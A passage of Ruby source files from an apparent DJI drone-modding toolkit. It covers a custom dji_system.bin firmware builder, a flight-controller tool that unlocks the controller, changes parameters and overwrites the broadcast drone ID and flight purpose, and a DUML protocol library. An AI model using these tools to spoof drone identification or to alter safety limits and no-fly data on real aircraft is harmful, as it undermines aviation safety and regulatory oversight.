true 110 | else 111 | puts "adding to handroll" 112 | handrolled << "#{chosen[0]}" 113 | sigfiles.delete_if do |sig| 114 | if chosen == sig 115 | true 116 | end 117 | end 118 | end 119 | end 120 | end 121 | 122 | if taritup == true 123 | if handrolled.length > 0 124 | puts "At least one module detected" 125 | break 126 | else 127 | puts "Please select more modules" 128 | taritup = false 129 | end 130 | end 131 | end 132 | 133 | # Begin tar file creation 134 | directory_name = "dji_system" 135 | Dir.mkdir(directory_name) unless File.exists?(directory_name) 136 | 137 | puts "Cleaning up any existing firmware files in ./dji_system" 138 | Dir.glob("#{directory_name}/*").each { |file| 139 | File.delete(file) 140 | puts "deleted #{file}" 141 | } 142 | 143 | puts "Copying over firmware modules" 144 | handrolled.each { |file| 145 | puts "-> sigs/#{file}" 146 | FileUtils.cp( "sigs/#{file}", "dji_system/") 147 | } 148 | FileUtils.cp( cfg, "dji_system/") 149 | 150 | if File.exists?("dji_system.bin") 151 | puts "deleting stale firmware file" 152 | File.unlink("dji_system.bin") 153 | end 154 | 155 | # Tested on OSX with brew http://brewformulas.org/GnuTar 156 | %x[ gtar --owner=0 --group=0 -cvf dji_system.bin -C dji_system/ .] 157 | 158 | if File.exists?("dji_system.bin") 159 | puts "Successful *custom* dji_system.bin creation" 160 | puts %x[gtar -tvf dji_system.bin] 161 | else 162 | puts "Something went wrong... try again" 163 | end 164 | 165 | # Known module id's 166 | # Need to document what each ID goes to, upgrade00.log is the best immediate candiate to map these out if you don't want to disas dji_sys 167 | # Use the below grep command to get a list on a rooted device. 168 | # grep ": check file" `busybox find / -name "*upgrade*log*"` | busybox cut -f2 -d "]" | busybox sort | busybox uniq 169 | # 170 | # 0100 - P4P, P4, i2, Mavic Camera Upgrade 171 | # 0101 - P4, Mavic Camera Loader Upgrade 172 | # 0104 - P4P Lens_Controller Upgrade 173 | # 0106 - CAMFPGA (XLNX), XiLinx CAM FPGA? 174 | # 0305 - P4, i2 FlyCtrl_Loader, Spark, Mavic FC Loader Upgrade 175 | # 0306 - P4P, P4, i2 FlyCtrl, Spark, Mavic FC APP Upgrade 176 | # 0400 - P4P, P4, Spark, Mavic Gimbal Upgrade 177 | # 0401 - P4P, P4 Gimbal 5223#1, i2 Gimbal_ESC Upgrade 178 | # 0402 - P4P, P4 Gimbal 5223 #2, i2 SSD_Controller Upgrade 179 | # 0404 - FPV_Gimbal Upgrade 180 | # 0500 - i2 CenterBoard Upgrade 181 | # 0501 - i2 Gear_Controller Upgrade 182 | # 0600 - GLB200A MCU_051_gnd Upgrade (not encrypted) 183 | # 0601 - Goggles MCU_031_gls Upgrade 184 | # 0603 - Goggles MCU_051_gls Upgrade 185 | # 0801 - Android recovery ROM? 186 | # 0802 - Modvidius ma2155 VPU firmware, "DJI_IMX377" (CMOS image sensor) firmware, Veri Silicon Hantaro Video IP encoder/decoder ? 187 | # 0803 - 188 | # 0804 - "System Initialized" ? 189 | # 0805 - upgrade.zip (calibration for VPS?) 190 | # 0900 - P4 OFDM, P4P, i2 LightBridge Upgrade 191 | # 0905 - NFZ Database (nfz.db and bfz.sig) 192 | # 0907 - Mavic modem/arm/dsp/gnd/uav "upgrade file" (unencrypted) 193 | # 1100 - i2 Battery_0, P4, Spark, Mavic Battery Upgrade 194 | # 1101 - i2 Battery_1 Upgrade 195 | # 1200 - P4, i2, Spark, Mavic ESC0 Upgrade 196 | # 1201 - P4, i2, spark, Mavic ESC1 Upgrade 197 | # 1202 - P4, i2, Spark, Mavic ESC2 Upgrade 198 | # 1203 - P4, i2, Spark, Mavic ESC3 Upgrade 199 | # 1301 - OTA.zip? 200 | # 1407 - GLB200A modem/arm/dsp/gnd/uav "upgrade file" (unencrypted) 201 | # 2801 - Mavic modem/arm/dsp/gnd/uav "upgrade file" (unencrypted) 202 | # 2803 - 203 | # 2807 - Mavic modem/arm/dsp/gnd/uav "upgrade file" (unencrypted) 204 | # 205 | # Match against: https://github.com/mefistotelis/phantom-firmware-tools/issues/25#issuecomment-297153290 206 | -------------------------------------------------------------------------------- /FlightController.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | require 'rubygems' 4 | require 'colorize' 5 | require 'json' 6 | require 'jsonable' 7 | require 'optparse' 8 | $:.unshift File.expand_path('.',__dir__) 9 | require 'DUML.rb' 10 | 11 | class FlightController 12 | 13 | class Param 14 | attr_accessor :table, :item, :type, :length, :default, :value, :min, :max, :name, :packing 15 | 16 | @@packings = [ "C", "S<", "L<", "", "c", "s", "l<", "", "e" ] 17 | @@types = [ "uint8", "uint16", "uint32", "uint64", "int8", "int16", "int32", "int64", "float" ] 18 | 19 | def initialize(table, item, type, length, default, min, max, name) 20 | @table = table; @item = item; @type = type; @length = length 21 | @default = default; @value = default; @min = min; @max = max 22 | @name = name; @packing = @@packings[type] 23 | end 24 | 25 | def to_s 26 | out = "%d %4d %-70s %-8s " % [ @table, @item, @name, @@types[@type] ] 27 | case type 28 | when 0..3 29 | out += " %12u %12u %12u %12u" % [ @min, @max, @default, @value ] 30 | when 4..7 31 | out += " %12d %12d %12d %12d" % [ @min, @max, @default, @value ] 32 | when 8 33 | out += " %12.4f %12.4f %12.4f %12.4f" % [ @min, @max, @default, @value ] 34 | end 35 | out 36 | end 37 | 38 | def to_json(a) 39 | { 'table' => @table, 'item' => @item, 'type' => @@types[@type], 'default' => @default, 40 | 'value' => @value, 'min' => @min, 'max' => @max, 'name' => @name }.to_json 41 | end 42 | 43 | def self.from_json string 44 | data = JSON.load string 45 | self.new data['a'], data['b'] 46 | end 47 | 48 | def self.types 49 | return @@types 50 | end 51 | end 52 | 53 | class ParamValue 54 | def initialize(param) 55 | @param = param 56 | end 57 | 58 | def to_json(a) 59 | { 'name' => @param.name, 'value' => @param.value }.to_json 60 | end 61 | end 62 | 63 | def initialize(duml = nil, debug = false) 64 | @duml = duml 65 | @debug = debug 66 | @timeout = 0.2 67 | @src = @duml.src 68 | @dst = '0300' 69 | 70 | if debug 71 | # TODO: Add src & dst 72 | @duml.register_handler(0x00, 0x0e) do |msg| fc_status(msg); end 73 | end 74 | 75 | # See if we can reach the FC 76 | @versions = @duml.cmd_dev_ver_get(@src, @dst, @timeout) 77 | if @versions[:full] == nil 78 | raise "FlightController unresponsive" 79 | end 80 | puts "FC Version: %s" % @versions[:app] 81 | 82 | if fc_assistant_unlock() == nil 83 | raise "Couldn't do an 'assistant unlock'" 84 | end 85 | end 86 | 87 | def fc_status(msg) 88 | reply = msg.payload[1..-1].pack("C*") 89 | if reply.scan( /\[D-SEND DATA\]\[DEBUG\]\[Pub\]/ ) == [] 90 | puts reply.yellow 91 | end 92 | end 93 | 94 | def fc_assistant_unlock() 95 | reply = @duml.send(DUML::Msg.new(@src, @dst, 0x40, 0x03, 0xdf, [ 0x00000001 ].pack("L<").unpack("C*")), @timeout) 96 | # TODO: parse reply 97 | return reply 98 | end 99 | 100 | def fc_ask_table(table) 101 | reply = @duml.send(DUML::Msg.new(@src, @dst, 0x40, 0x03, 0xe0, 102 | [ table ].pack("S<").unpack("C*")), @timeout) 103 | if reply == nil 104 | raise "No reply" 105 | end 106 | 107 | status = reply.payload[0..1].pack("C*").unpack("S<")[0] 108 | if status != 0 109 | return -status 110 | end 111 | 112 | table, unk, items = reply.payload[2..-1].pack("C*").unpack("S %d items" % [t, items] 219 | (0..(items - 1)).each do |i| 220 | print " %3d / %3d\r" % [ i + 1, items ] 221 | p = fc_ask_param(t, i) 222 | @params = @params + [ p ] 223 | end 224 | end 225 | end 226 | 227 | def read_params_val_from_fc() 228 | @params.each.with_index do |p, i| 229 | print " %3d / %3d\r" % [ i + 1, @params.length ] 230 | fc_get_param(p) 231 | end 232 | end 233 | 234 | def search_params(paramstr) 235 | @params.each do |p| 236 | if p.name.include? paramstr 237 | fc_get_param(p) 238 | puts p 239 | end 240 | end 241 | end 242 | 243 | def lookup_param(paramstr) 244 | @params.each do |p| 245 | if p.name == paramstr 246 | fc_get_param(p) 247 | return p 248 | end 249 | end 250 | return nil 251 | end 252 | 253 | def backup(file, full) 254 | read_params_val_from_fc() 255 | pv = [] 256 | @params.each do |p| 257 | if full || (p.value != p.default) 258 | pv = pv + [ ParamValue.new(p) ] 259 | end 260 | end 261 | f = File.new(file, "w") 262 | f.write(JSON.pretty_generate(pv)) 263 | end 264 | 265 | def restore(file) 266 | if File.file?(file) 267 | f = File.new(file).read 268 | all = [] 269 | JSON.parse(f).each do |pv| 270 | p = lookup_param(pv['name']) 271 | if p 272 | puts "Setting '#{pv['name']}' to #{pv['value']}" 273 | fc_set_param(p, pv['value']) 274 | else 275 | puts "'#{pv['name']}' not found" 276 | end 277 | end 278 | return true 279 | end 280 | return false 281 | end 282 | 283 | ### Monitor commands ### 284 | 285 | def fc_monitor(cmd, payload = [], encode_length = true) 286 | if encode_length 287 | msg = ([ cmd, payload.length ].pack("CC") + payload.pack("C*")).unpack("C*") 288 | else 289 | msg = ([ cmd ].pack("C") + payload.pack("C*")).unpack("C*") 290 | end 291 | reply = @duml.send(DUML::Msg.new(@src, @dst, 0x40, 0x03, 0xda, msg), @timeout) 292 | return reply 293 | end 294 | 295 | def fc_monitor_set_purpose(purpose) 296 | if purpose.length > 100 297 | puts "Error: purpose length (#{purpose.length}) > 100" 298 | return nil 299 | end 300 | bug_length = 76 - (1 + 16 + 1 + 10 + 1) 301 | if purpose.length > bug_length 302 | puts "Warning: purpose length (#{purpose.length}) > #{bug_length}. Due to a " + 303 | "bug in dji_network, only the first #{bug_length} characters will be " + 304 | "transmitted over wifi." 305 | end 306 | reply = fc_monitor(0x01, purpose.unpack("C*")) 307 | if reply == nil 308 | return nil 309 | end 310 | return reply.payload[1] 311 | end 312 | 313 | def fc_monitor_get_purpose() 314 | reply = fc_monitor(0x02) 315 | if reply == nil 316 | return nil 317 | end 318 | return reply.payload[3..-1].pack("C*") 319 | end 320 | 321 | def fc_monitor_set_droneid(id) 322 | if id.length > 10 323 | puts "Error: id length (#{id.length}) > 10" 324 | return nil 325 | end 326 | reply = fc_monitor(0x03, id.unpack("C*")) 327 | if reply == nil 328 | return nil 329 | end 330 | return reply.payload[1] 331 | end 332 | 333 | def fc_monitor_get_droneid() 334 | reply = fc_monitor(0x04) 335 | if reply == nil 336 | return nil 337 | end 338 | return reply.payload[3..-1].pack("C*") 339 | end 340 | end 341 | 342 | if __FILE__ == $0 343 | 344 | options = {} 345 | options["debug"] = false 346 | options["full"] = false 347 | OptionParser.new do |parser| 348 | parser.on("-V", "--verbose", 349 | "Enable verbose mode. This will show the debug output of the FC") do 350 | options["debug"] = true 351 | end 352 | parser.on("-d", "--device DEVICE", 353 | "Path to the serial port, e.g. /dev/tty.usbmodem1425") do |dev| 354 | options["dev"] = dev 355 | end 356 | parser.on("-f", "--find PARAM", 357 | "Search for parameters matching the PARAM query") do |param| 358 | options["find"] = param 359 | end 360 | parser.on("-v", "--value VALUE", 361 | "The new value for any cmdline option which requires a value, e.g. -s") do |value| 362 | options["value"] = value 363 | end 364 | parser.on("-s", "--set PARAM", 365 | "The parameter which value you want to change") do |param| 366 | options["set_param"] = param 367 | end 368 | parser.on("-b", "--backup FILE", 369 | "Backup parameters to FILE. By default, only the parameters that differ from the default are saved") do |file| 370 | options["backup"] = file 371 | end 372 | parser.on("-F", "--full", 373 | "Store all parameters when performing a backup") do 374 | options["full"] = true 375 | end 376 | parser.on("-r", "--restore FILE", 377 | "Restore parameters from FILE") do |file| 378 | options["restore"] = file 379 | end 380 | parser.on("-R", "--reset", 381 | "Reset all parameters to their factory defaults") do 382 | options["reset"] = true 383 | end 384 | parser.on("-p", "--purpose", 385 | "Set/Get the flight purpose. If -v is also provided, the purpose will be set to that value") do 386 | options["purpose"] = true 387 | end 388 | parser.on("-D", "--droneid", 389 | "Set/Get the drone ID. If -v is also provided, the drone ID will be set to that value") do 390 | options["droneid"] = true 391 | end 392 | end.parse! 393 | 394 | port = options["dev"] 395 | if port == nil 396 | puts "No serial port defined" 397 | exit 398 | end 399 | 400 | con = DUML::ConnectionSerial.new(port) 401 | duml = DUML.new(0x2a, 0xc3, con, 3.0, false) 402 | fc = FlightController.new(duml, options["debug"]) 403 | 404 | if not fc.read_params_def() 405 | puts "Parameters for this version aren't cached yet, reading them first" 406 | fc.read_params_def_from_fc() 407 | fc.write_param_def() 408 | end 409 | 410 | if options["find"] 411 | puts "Looking for " + options["find"] + ":" 412 | fc.search_params(options["find"]) 413 | exit 414 | end 415 | 416 | if options["set_param"] 417 | p = fc.lookup_param(options["set_param"]) 418 | if p 419 | if options["value"] 420 | puts "Setting '" + options["set_param"] + "' to " + options["value"] 421 | fc.fc_set_param(p, options["value"]) 422 | end 423 | fc.fc_get_param(p) 424 | puts p 425 | end 426 | exit 427 | end 428 | 429 | if options["backup"] 430 | fc.backup(options["backup"], options["full"]) 431 | exit 432 | end 433 | 434 | if options["restore"] 435 | fc.restore(options["restore"]) 436 | exit 437 | end 438 | 439 | if options["reset"] 440 | fc.fc_reset_all() 441 | exit 442 | end 443 | 444 | if options["purpose"] 445 | if options["value"] 446 | reply = fc.fc_monitor_set_purpose(options["value"]) 447 | if reply == 0 448 | puts "Success setting purpose to '#{options["value"]}'" 449 | else 450 | puts "Failed setting purpose, errorcode: #{reply}" 451 | end 452 | else 453 | reply = fc.fc_monitor_get_purpose() 454 | puts reply 455 | end 456 | exit 457 | end 458 | 459 | if options["droneid"] 460 | if options["value"] 461 | reply = fc.fc_monitor_set_droneid(options["value"]) 462 | if reply == 0 463 | puts "Success setting droneID to '#{options["value"]}'" 464 | else 465 | puts "Failed setting droneID, errorcode: #{reply}" 466 | end 467 | else 468 | reply = fc.fc_monitor_get_droneid() 469 | puts reply 470 | end 471 | exit 472 | end 473 | 474 | sleep(1) if options["debug"] 475 | end 476 | 477 | # vim: expandtab:ts=4:sw=4 478 | -------------------------------------------------------------------------------- /DUML.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | require 'rubygems' 4 | require 'colorize' 5 | require 'serialport' 6 | require 'socket' 7 | 8 | # Ruby CRC code adapted from: 9 | # https://github.com/zachhale/ruby-crc16/blob/master/crc16.rb 10 | # DJI CRC table from: 11 | # https://github.com/dji-sdk/Guidance-SDK/blob/master/examples/uart_example/crc16.cpp 12 | # const unsigned short CRC_INIT = 0x3692; //0x7000; //dji naza 13 | # Initial seed confirmed: 14 | # https://github.com/mefistotelis/phantom-firmware-tools/issues/25#issue-215926316 15 | # header crc code adapted from: 16 | # comm_serial2pcap.py 17 | # https://github.com/mefistotelis/phantom-firmware-tools/issues/25#issuecomment-306052129 18 | 19 | class DUML 20 | attr_accessor :src, :dst, :timeout, :debug 21 | 22 | class Connection 23 | attr_accessor :debug 24 | 25 | def write(msg) 26 | puts (" " + msg.to_s).green if @debug 27 | end 28 | 29 | def read(len) 30 | sleep(3600) 31 | return ARGF.read(len) 32 | end 33 | end 34 | 35 | class ConnectionRetry < DUML::Connection 36 | def read(len) 37 | buf = nil 38 | loop do 39 | if @con == nil 40 | begin 41 | open_connection 42 | puts "Connection restored." if @debug 43 | rescue 44 | @count += 1 45 | if @count == 20 46 | puts "Waited long enough for the connection to restore..." 47 | exit 48 | end 49 | sleep(1) 50 | next 51 | end 52 | end 53 | buf = @con.read(len) 54 | if buf == nil 55 | puts "Connection lost..." if @debug 56 | @con = nil 57 | @count = 0 58 | next 59 | else 60 | break 61 | end 62 | end 63 | return buf 64 | end 65 | 66 | def write(msg) 67 | loop do 68 | if @con != nil 69 | super(msg) 70 | @con.write(msg.raw) 71 | break 72 | else 73 | sleep(1) 74 | next 75 | end 76 | end 77 | end 78 | end 79 | 80 | class ConnectionSerial < DUML::ConnectionRetry 81 | def initialize(port) 82 | @port = port 83 | open_connection 84 | end 85 | 86 | def open_connection 87 | baud_rate = 115200 88 | data_bits = 8 89 | stop_bits = 1 90 | parity = SerialPort::NONE 91 | begin 92 | @con = SerialPort.new(@port, baud_rate, data_bits, stop_bits, parity) 93 | rescue 94 | puts "Serial port connection failed... did you supply a valid serial port as first command line arguement?" 95 | puts "Make sure all apps like Assistant 2 are closed" 96 | exit 97 | end 98 | end 99 | end 100 | 101 | class ConnectionSocket < DUML::ConnectionRetry 102 | def initialize(hostname, port) 103 | @hostname = hostname 104 | @port = port 105 | open_connection 106 | end 107 | 108 | def open_connection 109 | @con = TCPSocket.open(@hostname, @port) 110 | end 111 | end 112 | 113 | 114 | class Msg 115 | attr_accessor :src, :dst, :seq_no, :attributes, :set, :id, :payload 116 | 117 | @@seq_no = 0x1234 118 | 119 | def self.addr_to_hex(a) 120 | if not a.is_a?(String) 121 | return a 122 | end 123 | if a.length != 4 124 | raise 125 | end 126 | return (a[0..1].to_i & 0x1f) | ((a[2..3].to_i & 0x07) << 5) 127 | end 128 | 129 | def self.addr_to_dec(a) 130 | if a.is_a?(String) 131 | return a 132 | end 133 | return "%02d%02d" % [ a & 0x1f, a >> 5 ] 134 | end 135 | 136 | def initialize(src = "1001", dst = "0801", attributes = 0x00, set = 0x00, id = 0x00, payload = [], seq_no = @@seq_no) 137 | src = Msg.addr_to_hex(src) 138 | dst = Msg.addr_to_hex(dst) 139 | @src = src; @dst = dst; @seq_no = seq_no; @attributes = attributes 140 | @set = set; @id = id; @payload = payload 141 | @@seq_no += 1 142 | end 143 | 144 | def self.from_bytes(buf) 145 | data = buf.unpack("CS> 8 ].pack("CCC") 152 | buf += [ DUML.crc_hdr(buf), @src, @dst, @seq_no, @attributes, @set, @id ].pack("CCCS> 8) & 0xff) ^ crc_lookup[(crc ^ b) & 0xff] 225 | end 226 | crc 227 | end 228 | 229 | def self.crc_hdr(buf) 230 | crc_lookup = [ 231 | 0x00, 0x5E, 0xBC, 0xE2, 0x61, 0x3F, 0xDD, 0x83, 232 | 0xC2, 0x9C, 0x7E, 0x20, 0xA3, 0xFD, 0x1F, 0x41, 233 | 0x9D, 0xC3, 0x21, 0x7F, 0xFC, 0xA2, 0x40, 0x1E, 234 | 0x5F, 0x01, 0xE3, 0xBD, 0x3E, 0x60, 0x82, 0xDC, 235 | 0x23, 0x7D, 0x9F, 0xC1, 0x42, 0x1C, 0xFE, 0xA0, 236 | 0xE1, 0xBF, 0x5D, 0x03, 0x80, 0xDE, 0x3C, 0x62, 237 | 0xBE, 0xE0, 0x02, 0x5C, 0xDF, 0x81, 0x63, 0x3D, 238 | 0x7C, 0x22, 0xC0, 0x9E, 0x1D, 0x43, 0xA1, 0xFF, 239 | 0x46, 0x18, 0xFA, 0xA4, 0x27, 0x79, 0x9B, 0xC5, 240 | 0x84, 0xDA, 0x38, 0x66, 0xE5, 0xBB, 0x59, 0x07, 241 | 0xDB, 0x85, 0x67, 0x39, 0xBA, 0xE4, 0x06, 0x58, 242 | 0x19, 0x47, 0xA5, 0xFB, 0x78, 0x26, 0xC4, 0x9A, 243 | 0x65, 0x3B, 0xD9, 0x87, 0x04, 0x5A, 0xB8, 0xE6, 244 | 0xA7, 0xF9, 0x1B, 0x45, 0xC6, 0x98, 0x7A, 0x24, 245 | 0xF8, 0xA6, 0x44, 0x1A, 0x99, 0xC7, 0x25, 0x7B, 246 | 0x3A, 0x64, 0x86, 0xD8, 0x5B, 0x05, 0xE7, 0xB9, 247 | 0x8C, 0xD2, 0x30, 0x6E, 0xED, 0xB3, 0x51, 0x0F, 248 | 0x4E, 0x10, 0xF2, 0xAC, 0x2F, 0x71, 0x93, 0xCD, 249 | 0x11, 0x4F, 0xAD, 0xF3, 0x70, 0x2E, 0xCC, 0x92, 250 | 0xD3, 0x8D, 0x6F, 0x31, 0xB2, 0xEC, 0x0E, 0x50, 251 | 0xAF, 0xF1, 0x13, 0x4D, 0xCE, 0x90, 0x72, 0x2C, 252 | 0x6D, 0x33, 0xD1, 0x8F, 0x0C, 0x52, 0xB0, 0xEE, 253 | 0x32, 0x6C, 0x8E, 0xD0, 0x53, 0x0D, 0xEF, 0xB1, 254 | 0xF0, 0xAE, 0x4C, 0x12, 0x91, 0xCF, 0x2D, 0x73, 255 | 0xCA, 0x94, 0x76, 0x28, 0xAB, 0xF5, 0x17, 0x49, 256 | 0x08, 0x56, 0xB4, 0xEA, 0x69, 0x37, 0xD5, 0x8B, 257 | 0x57, 0x09, 0xEB, 0xB5, 0x36, 0x68, 0x8A, 0xD4, 258 | 0x95, 0xCB, 0x29, 0x77, 0xF4, 0xAA, 0x48, 0x16, 259 | 0xE9, 0xB7, 0x55, 0x0B, 0x88, 0xD6, 0x34, 0x6A, 260 | 0x2B, 0x75, 0x97, 0xC9, 0x4A, 0x14, 0xF6, 0xA8, 261 | 0x74, 0x2A, 0xC8, 0x96, 0x15, 0x4B, 0xA9, 0xF7, 262 | 0xB6, 0xE8, 0x0A, 0x54, 0xD7, 0x89, 0x6B, 0x35] 263 | 264 | crc = 0x77 265 | buf.each_byte do |b| 266 | crc = crc_lookup[(crc ^ b) & 0xff] 267 | end 268 | crc 269 | end 270 | 271 | # ------------------------------------------------------------------------------------------------------------- 272 | 273 | def cmd_dev_ping(src = @src, dst = @dst, timeout = @timeout) # 0x00 274 | reply = send(Msg.new(src, dst, 0x40, 0x00, 0x00), timeout) 275 | return reply 276 | end 277 | 278 | def cmd_dev_ver_get(src = @src, dst = @dst, timeout = @timeout) # 0x01 279 | reply = send(Msg.new(src, dst, 0x40, 0x00, 0x01), timeout) 280 | # 00 12 57 4d 32 32 30 20 52 43 20 56 65 72 2e 41 00 00 17 00 05 01 17 00 05 01 01 00 00 80 00 281 | # WM220 RC Ver.A 23 0 5 1 23 0 5 1 1 0 0 128 0 282 | # 00 12 57 4d 32 32 30 20 41 43 20 56 65 72 2e 41 00 00 14 00 05 01 14 00 05 01 01 00 00 80 00 283 | # WM220 AC Ver.A 20 0 5 1 20 0 5 1 1 0 0 128 0 284 | versions = {} 285 | if reply 286 | ver_ldr = reply.payload[18..21] 287 | ver_app = reply.payload[22..25] 288 | versions[:loader] = ("%02d.%02d.%02d.%02d" % [ ver_ldr[3], ver_ldr[2], ver_ldr[1], ver_ldr[0] ]) 289 | versions[:app] = ("%02d.%02d.%02d.%02d" % [ ver_app[3], ver_app[2], ver_app[1], ver_app[0] ]) 290 | versions[:string] = reply.payload[2..16].pack("C*") 291 | versions[:full] = versions[:string] + " Loader: " + versions[:loader] + " App: " + versions[:app] 292 | end 293 | return versions 294 | end 295 | 296 | def cmd_enter_upgrade_mode() # 0x07 297 | reply = send(Msg.new(@src, @dst, 0x40, 0x00, 0x07, 298 | [ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ])) 299 | # reply payload: 00 03 0f 300 | return reply 301 | end 302 | 303 | def cmd_upgrade_data(filesize, path = 0, type = 0) # 0x08 304 | reply = send(Msg.new(@src, @dst, 0x40, 0x00, 0x08, 305 | [ 0x00 ] + [ filesize ].pack("L<").unpack("CCCC") + [ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, path, type ])) 306 | 307 | # payload mavic/mavic rc: 308 | # 00 02 2a a8 c0 15 00 2f 75 70 67 72 61 64 65 2f 64 6a 69 5f 73 79 73 74 65 6d 2e 62 69 6e 00 309 | # IP IP IP IP PR / u p g r a d e / d j i _ s y s t e m . b i n 310 | # payload spark rc: 311 | # 00 e8 03 312 | # SZ SZ 313 | 314 | if reply == nil 315 | return nil 316 | elsif (reply.payload.length == 3) || (reply.payload.length == 5) 317 | transfer_size = reply.payload[1..2].pack("C*").unpack("S<") 318 | return { transfer_size: transfer_size, ftp: false } 319 | elsif reply.payload.length == 263 320 | address = "%d.%d.%d.%d" % reply.payload[1..4].reverse 321 | port = "%d" % reply.payload[5] 322 | targetfile = reply.payload[7..-1].pack("C*").strip 323 | return { address: address, port: port, targetfile: targetfile, ftp: true } 324 | else 325 | puts ("Unsupported reply: " + reply.to_s).red 326 | return reply 327 | end 328 | end 329 | 330 | def cmd_transfer_upgrade_data(index, data, enc = 0) # 0x09 331 | send(Msg.new(@src, @dst, 0x00, 0x00, 0x09, 332 | [ enc ] + [ index ].pack("L<").unpack("CCCC") + [ data.length ].pack("S<").unpack("CC") + data)) 333 | end 334 | 335 | def cmd_finish_upgrade_data(md5) # 0x0a 336 | reply = send(Msg.new(@src, @dst, 0x40, 0x00, 0x0a, 337 | [ 0x00 ] + md5)) 338 | return reply 339 | end 340 | 341 | def cmd_report_status() # 0x0c 342 | reply = send(Msg.new(@src, @dst, 0x40, 0x00, 0x0c, [ 0x00 ])) 343 | # reply payload: 00 00 01 00 00 00 344 | return reply 345 | end 346 | 347 | def cmd_stop_push() # 0x41 348 | reply = send(Msg.new(@src, @dst, 0x40, 0x00, 0x41, [ 0x04 ])) 349 | return reply 350 | end 351 | 352 | def cmd_set_date(time, src = @src, dst = @dst, timeeout = @timeout) # 0x4a 353 | t = [ time.year, time.month, time.day, time.hour, time.min, time.sec ] 354 | reply = send(Msg.new(src, dst, 0x40, 0x00, 0x4a, t.pack("S>").yellow if @debug 408 | end 409 | 410 | return recv_msg 411 | end 412 | else 413 | @connection.write(msg) 414 | return nil 415 | end 416 | end 417 | 418 | def register_handler(set, id, &block) # TODO: Add src & dst 419 | handler = {} 420 | handler[:block] = block 421 | @requests_mutex.synchronize do 422 | @handlers[ [ set, id ] ] = handler 423 | end 424 | end 425 | 426 | private 427 | 428 | def handle_incoming_message(msg) 429 | puts ("IN: " + msg.to_s).red if @debug 430 | 431 | if msg.attributes & 0x80 == 0x80 # It's a reply 432 | @requests_mutex.synchronize do 433 | req = @requests[msg.seq_no] 434 | if req != nil 435 | req[:msg] = msg 436 | req[:condition].signal 437 | else 438 | puts "Unsolicited reply ? " + msg.to_s if @debug 439 | end 440 | end 441 | elsif (msg.attributes == 0x40) || (msg.attributes == 0x00) 442 | handler = nil 443 | @requests_mutex.synchronize do 444 | handler = @handlers[ [ msg.set, msg.id ] ] # TODO: Add src & dst 445 | end 446 | if handler != nil 447 | handler[:block].call(msg) 448 | end 449 | else 450 | puts "Weird message received: ".blue if @debug 451 | end 452 | end 453 | 454 | def read_from_connection(con) 455 | puts "Start reading from port" if @debug 456 | required_bytes = 4 # 0x55, length, proto+length & crc 457 | buf = [] 458 | while true # TODO: Add a way to stop this thread 459 | 460 | # Attempt to read as many bytes as we currently require. 461 | if required_bytes > 0 462 | buf += con.read(required_bytes).unpack("C*") 463 | end 464 | 465 | # Do we have a start-of-frame ? 466 | if buf[0] != 0x55 467 | buf = buf[1..-1] 468 | required_bytes = [ 0, 4 - buf.length ].max 469 | next 470 | end 471 | 472 | # First byte is 0x55 and we have at least 4 bytes. 473 | # A potential header is complete -> validate length, protocol & header crc. 474 | if buf.length == 4 475 | length = buf[1] + (buf[2] & 0x03) * 256 476 | protocol = buf[2] >> 2 477 | if protocol != 1 478 | # Wrong protocol or this 0x55 was not a start-of-frame. 479 | # Skip the first byte (0x55) and start over looking for the next 0x55 480 | buf = buf[1..-1] 481 | required_bytes = [ 0, 4 - buf.length ].max 482 | puts "Wrong protocol %02x" % protocol if @debug 483 | next 484 | end 485 | 486 | if DUML::crc_hdr(buf[0..2].pack("C*")) != buf[3] 487 | # Header CRC doesn't match.. This 0x55 was not a start-of-frame. 488 | buf = buf[1..-1] 489 | required_bytes = [ 0, 4 - buf.length ].max 490 | puts "Header CRC failure" if @debug 491 | next 492 | end 493 | end 494 | 495 | if buf.length < length 496 | required_bytes = length - buf.length 497 | next 498 | end 499 | 500 | if DUML::crc16(buf[0..-3].pack("C*")) != buf[-2..-1].pack("C*").unpack("S<")[0] 501 | # Message CRC doesn't match.. This 0x55 was not a start-of-frame. 502 | buf = buf[1..-1] 503 | required_bytes = [ 0, 4 - buf.length ].max 504 | puts "Message CRC failure" if @debug 505 | next 506 | end 507 | 508 | # Here the message is complete and all CRC's are valid ! 509 | handle_incoming_message(DUML::Msg.from_bytes(buf.pack("C*"))) 510 | 511 | # Start over 512 | buf = [] 513 | required_bytes = 4 514 | end 515 | end 516 | 517 | end 518 | 519 | if __FILE__ == $0 520 | # debugging 521 | end 522 | 523 | # vim: expandtab:ts=4:sw=4 524 | --------------------------------------------------------------------------------